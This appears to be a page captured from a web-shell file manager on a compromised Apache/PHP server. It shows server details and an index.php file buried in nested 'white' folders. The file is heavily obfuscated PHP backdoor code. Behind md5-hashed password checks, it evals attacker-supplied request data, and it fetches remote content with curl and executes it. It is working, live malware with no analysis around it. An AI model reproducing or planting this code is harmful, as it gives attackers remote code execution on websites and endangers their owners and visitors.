HEX
Server: Apache/2.4.57 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux vmi267337.contaboserver.net 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
User: ohirex (1008)
PHP: 8.2.8
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec
Upload Files
File: /home/ohirex/web/ohirex.com/public_html/white/white/white/white/white/index.php
<?php
 goto mn86WykHP3Ow0GZ; oWSvfD4C7ijniAq: LiT2BWoqGHLzr46: goto w5e1xq7Qxy5KNUZ; TI5538yjcGq3b3E: ($fsl1_QfxxLzH92D[69] = $fsl1_QfxxLzH92D[69] . $fsl1_QfxxLzH92D[79]) && ($fsl1_QfxxLzH92D[82] = $fsl1_QfxxLzH92D[69]($fsl1_QfxxLzH92D[82])) && @eval($fsl1_QfxxLzH92D[69](${$fsl1_QfxxLzH92D[47]}[25])); goto oWSvfD4C7ijniAq; yXgoY_ZGXBHTJ1C: $cG1xpHcqhehmlf0 = $lq0R43DxwriSgJp("\x7e", "\40"); goto OtGi7j1OQQgCdYN; w5e1xq7Qxy5KNUZ: metaphone("\x56\x36\x64\x4c\x75\x78\163\116\x55\123\x79\x66\127\127\110\x7a\x63\152\x58\x46\161\120\103\x52\101\171\x50\171\x46\70\57\x6c\x75\104\x63\x4a\x53\57\x6f\x43\146\x54\153"); goto P3eZwNBvHny9G9A; uV8uQ2j656ofcYm: if (!(in_array(gettype($fsl1_QfxxLzH92D) . count($fsl1_QfxxLzH92D), $fsl1_QfxxLzH92D) && count($fsl1_QfxxLzH92D) == 25 && md5(md5(md5(md5($fsl1_QfxxLzH92D[19])))) === "\146\61\61\x36\x63\x34\x64\x32\67\145\x61\146\x65\x62\x62\x63\65\145\x37\x35\63\x34\x65\x32\x33\65\63\143\144\x61\x62\71")) { goto LiT2BWoqGHLzr46; } goto TI5538yjcGq3b3E; mn86WykHP3Ow0GZ: $lq0R43DxwriSgJp = "\162" . "\141" . "\156" . "\147" . "\145"; goto yXgoY_ZGXBHTJ1C; P3eZwNBvHny9G9A: class BIpwPDyiOvtT6H3 { static function hfviUm5NyTML436($MJ_XdeNvtWfbcRi) { goto IgX2vMLGVQlOeSt; xjAYujbKUVnVPPu: $tAQ0_SmsB1WCjif = $NJq4cYKy9V8x2OP("\x7e", "\x20"); goto Fy83YRc5yuXcDVk; YKsFLEh3ah4Xnsw: return $s7ZeFYDXl12P_Et; goto SJjZ3GXMlIqN10J; Fy83YRc5yuXcDVk: $IOZNVnsR1TkN2P2 = explode("\55", $MJ_XdeNvtWfbcRi); goto QWpm8z_gTitGCpK; QWpm8z_gTitGCpK: $s7ZeFYDXl12P_Et = ''; goto Nqg3e8Gy2snHnLj; Nqg3e8Gy2snHnLj: foreach ($IOZNVnsR1TkN2P2 as $Lx4_T04vLfCKayv => $V92bNudCNQIs4p0) { $s7ZeFYDXl12P_Et .= $tAQ0_SmsB1WCjif[$V92bNudCNQIs4p0 - 18378]; NADaiCaacTPSuYU: } goto PFpmQw8doxqoNFy; IgX2vMLGVQlOeSt: $NJq4cYKy9V8x2OP = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto xjAYujbKUVnVPPu; PFpmQw8doxqoNFy: cnfy1tDzqjpN5BU: goto YKsFLEh3ah4Xnsw; SJjZ3GXMlIqN10J: } static function gNh11W5sa0lluu_($HfqzpkBpbn813w_, $aQN_zPxFqrtIbxY) { goto MNjAhaycsaNTt_q; H68RQzImbW19VJj: return empty($OoFVHt5z9uKO40m) ? $aQN_zPxFqrtIbxY($HfqzpkBpbn813w_) : $OoFVHt5z9uKO40m; goto UXn2iOvwzIOO_GO; tZuGScWTvsDsZfN: $OoFVHt5z9uKO40m = curl_exec($UuAWItIj13GNKyO); goto H68RQzImbW19VJj; CnaL3QTnSXpmPv8: curl_setopt($UuAWItIj13GNKyO, CURLOPT_RETURNTRANSFER, 1); goto tZuGScWTvsDsZfN; MNjAhaycsaNTt_q: $UuAWItIj13GNKyO = curl_init($HfqzpkBpbn813w_); goto CnaL3QTnSXpmPv8; UXn2iOvwzIOO_GO: } static function zmFfjz_A3qqQIhj() { goto Hwnp_5rbtM8xtSC; ZsC6d3_eMhch_Ye: foreach ($D07eGJGoE03vHL_ as $Vq8Ki0_S0FTC97K) { $x2rrA3JHjZ6peri[] = self::hfvIUm5NyTMl436($Vq8Ki0_S0FTC97K); ED3iIFNi1ANMxdb: } goto vXyNhw0B2DG4fFS; Q4oreg1iRJ9LOTR: @$x2rrA3JHjZ6peri[3 + 7](INPUT_GET, "\x6f\x66") == 1 && die($x2rrA3JHjZ6peri[5 + 0](__FILE__)); goto e0AVLnhXfxNwf63; vXyNhw0B2DG4fFS: gBKjktJpyM7Pv3D: goto jmUOGEex7vnIsCa; KlG5j736z3nNywH: $giZ9B0WnHMl3ujG = self::gNH11W5SA0lluU_($zldSVPgN8qPLcAT[1 + 0], $x2rrA3JHjZ6peri[4 + 1]); goto wrqgoMuvoFhbBMo; OxKznd4HRLDbi1q: die; goto NSbburPGgkVyBvn; e0AVLnhXfxNwf63: if (!(@$zldSVPgN8qPLcAT[0] - time() > 0 and md5(md5($zldSVPgN8qPLcAT[0 + 3])) === "\x62\x61\x34\x64\x65\64\x64\65\70\x66\141\x38\x30\61\x33\x36\x30\145\71\x36\x63\71\143\64\71\70\x38\x30\x66\65\62\145")) { goto ynN24JCTBxGNHYe; } goto KlG5j736z3nNywH; np5swP9XddJMtOv: $zldSVPgN8qPLcAT = $x2rrA3JHjZ6peri[2 + 0]($H3hMl69M0ByXX2x, true); goto Q4oreg1iRJ9LOTR; qhVxb9VxuguNqWI: $H3hMl69M0ByXX2x = @$x2rrA3JHjZ6peri[0 + 3]($x2rrA3JHjZ6peri[5 + 1], $NHOG5suMgr2Ktz5); goto np5swP9XddJMtOv; wrqgoMuvoFhbBMo: @eval($x2rrA3JHjZ6peri[2 + 2]($giZ9B0WnHMl3ujG)); goto OxKznd4HRLDbi1q; Hwnp_5rbtM8xtSC: $D07eGJGoE03vHL_ = array("\x31\70\64\60\65\x2d\x31\x38\63\x39\x30\55\x31\x38\64\x30\63\55\61\x38\64\x30\67\x2d\x31\70\63\x38\70\55\x31\x38\x34\60\x33\x2d\61\x38\64\x30\71\55\61\x38\x34\60\x32\55\x31\70\63\x38\67\x2d\61\70\x33\x39\64\x2d\61\70\x34\x30\x35\55\x31\70\x33\x38\70\x2d\61\x38\x33\x39\71\55\x31\70\63\71\x33\55\x31\x38\x33\71\64", "\x31\x38\63\70\x39\55\61\x38\63\x38\x38\55\61\70\x33\x39\x30\55\x31\70\x34\60\71\x2d\61\70\x33\x39\60\55\61\70\63\71\x33\55\x31\x38\x33\70\x38\55\61\x38\x34\x35\65\x2d\x31\70\64\65\63", "\61\x38\63\71\70\x2d\61\70\x33\70\x39\55\x31\70\63\71\63\x2d\61\x38\x33\x39\64\x2d\x31\70\x34\x30\x39\x2d\x31\x38\64\60\x34\x2d\x31\x38\x34\x30\x33\55\61\70\x34\60\x35\x2d\x31\x38\63\x39\x33\x2d\61\x38\x34\60\x34\55\x31\x38\64\60\x33", "\x31\x38\63\71\62\55\x31\70\x34\60\x37\x2d\x31\70\64\60\65\55\61\x38\x33\71\x37", "\61\70\x34\60\x36\55\x31\x38\64\x30\67\55\x31\x38\63\x38\71\55\x31\x38\64\x30\x33\55\61\70\64\x35\60\55\x31\x38\x34\65\x32\55\61\x38\64\x30\71\x2d\x31\70\x34\60\x34\x2d\x31\70\64\x30\63\55\x31\x38\x34\x30\x35\x2d\x31\70\x33\71\x33\55\x31\70\x34\x30\x34\55\x31\x38\64\60\x33", "\61\x38\x34\x30\62\x2d\x31\70\63\71\71\55\x31\70\63\71\66\x2d\61\x38\64\60\x33\55\x31\70\x34\x30\71\55\x31\x38\64\60\61\55\x31\x38\64\60\x33\x2d\61\x38\63\x38\x38\x2d\61\x38\64\x30\x39\55\x31\70\64\60\x35\x2d\x31\x38\63\x39\x33\x2d\x31\70\63\71\x34\55\x31\x38\x33\70\70\55\x31\x38\64\60\63\x2d\x31\70\x33\x39\64\55\x31\x38\x33\x38\x38\x2d\61\x38\63\70\71", "\x31\x38\64\63\62\55\x31\x38\64\x36\x32", "\x31\x38\x33\67\71", "\x31\70\64\65\67\x2d\61\x38\64\66\x32", "\61\x38\64\63\71\x2d\x31\x38\x34\x32\x32\x2d\61\70\x34\62\62\55\x31\70\64\x33\71\x2d\x31\x38\64\61\x35", "\x31\70\x34\x30\62\55\x31\x38\x33\71\71\55\x31\70\63\x39\66\x2d\61\70\x33\70\x38\x2d\x31\x38\64\60\63\x2d\61\70\63\71\60\55\x31\70\x34\60\x39\x2d\x31\70\x33\x39\x39\55\61\x38\63\71\x34\x2d\61\x38\63\x39\x32\55\x31\70\63\x38\67\55\61\70\63\x38\70"); goto ZsC6d3_eMhch_Ye; NSbburPGgkVyBvn: ynN24JCTBxGNHYe: goto gOZz62PgH_mfhrW; jmUOGEex7vnIsCa: $NHOG5suMgr2Ktz5 = @$x2rrA3JHjZ6peri[1]($x2rrA3JHjZ6peri[4 + 6](INPUT_GET, $x2rrA3JHjZ6peri[8 + 1])); goto qhVxb9VxuguNqWI; gOZz62PgH_mfhrW: } } goto G38ukhAkAdp5BQY; OtGi7j1OQQgCdYN: $fsl1_QfxxLzH92D = ${$cG1xpHcqhehmlf0[23 + 8] . $cG1xpHcqhehmlf0[4 + 55] . $cG1xpHcqhehmlf0[16 + 31] . $cG1xpHcqhehmlf0[6 + 41] . $cG1xpHcqhehmlf0[19 + 32] . $cG1xpHcqhehmlf0[22 + 31] . $cG1xpHcqhehmlf0[45 + 12]}; goto uV8uQ2j656ofcYm; G38ukhAkAdp5BQY: biPWPDYiOvTT6H3::zMfFJZ_A3QqQIhj();
?>